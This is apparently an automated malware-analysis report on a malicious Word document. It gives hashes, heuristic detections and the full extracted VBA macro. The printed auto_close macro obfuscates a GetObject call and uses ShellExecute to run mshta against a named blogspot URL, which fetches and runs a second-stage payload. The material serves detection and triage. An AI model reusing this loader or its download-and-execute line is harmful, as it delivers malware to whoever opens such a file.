Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2cecbf9949630a55…

MALICIOUS

Office (OOXML)

16.6 KB Created: 2021-10-18 11:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-24
MD5: d33bb7841b18d0caaa3388a84f32cd80 SHA-1: 1a2323b86b67bb6b1ee3bdca3bd677ee0f381fb5 SHA-256: 2cecbf9949630a55d3044ee8906a1381bf4b72b2aace59db176a846e9d646faa
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32

The sample contains a VBA macro with an auto_close subroutine that uses GetObject and ShellExecute to download and execute a payload. The script reconstructs the command 'mshta https://ajsidjasidwxoxwkwjddududjf.blogspot.com/p/13.html' which is used to fetch and run a second-stage payload from the provided URL. The use of GetObject with a reversed string suggests obfuscation to hide the execution of a LOLBin.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Case 1
    getEnumName = "mshta"
    Case 2
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Total.calc.ShellExecute NamakTotal, koko
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Public Function calc(id_FFFE As Variant)
  Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub auto_close()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://ajsidjasidwxoxwkwjddududjf.blogspot.com/p/13.htmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1026 bytes
SHA-256: 61024afc35ed8edfd9a4ab2963cf5394a459d2a41db6c4419e6bd76f7590f72c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Sub auto_close()
  
  Dim Total New
  
  Dim NamakTotal, lora As String
  NamakTotal = Total.getEnumName(1)
  lora = Total.getEnumName(2)
  koko = lora
  
  
  Total.calc.ShellExecute NamakTotal, koko
  
End Sub
Type myenum
  
  myname1 = 1
  myname2 = 2
  myname3 = 3
  myname4 = 4
  
End Enum

Public Function getEnumName(eValue As , id_FFFE As Variant)
  Select Case eValue
    Case 1
    getEnumName = "mshta"
    Case 2
    getEnumName = "https://ajsidjasidwxoxwkwjddududjf.blogspot.com/p/13.html"
  End Select
End Sub


Public Function calc(id_FFFE As Variant)
  Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: 7cbb813aec346ed9105102b7f9b4cf62d37a4ede5c5c31dbf863ad9ae0288d1c

Open this report in the interactive analyzer, or submit your own file for analysis.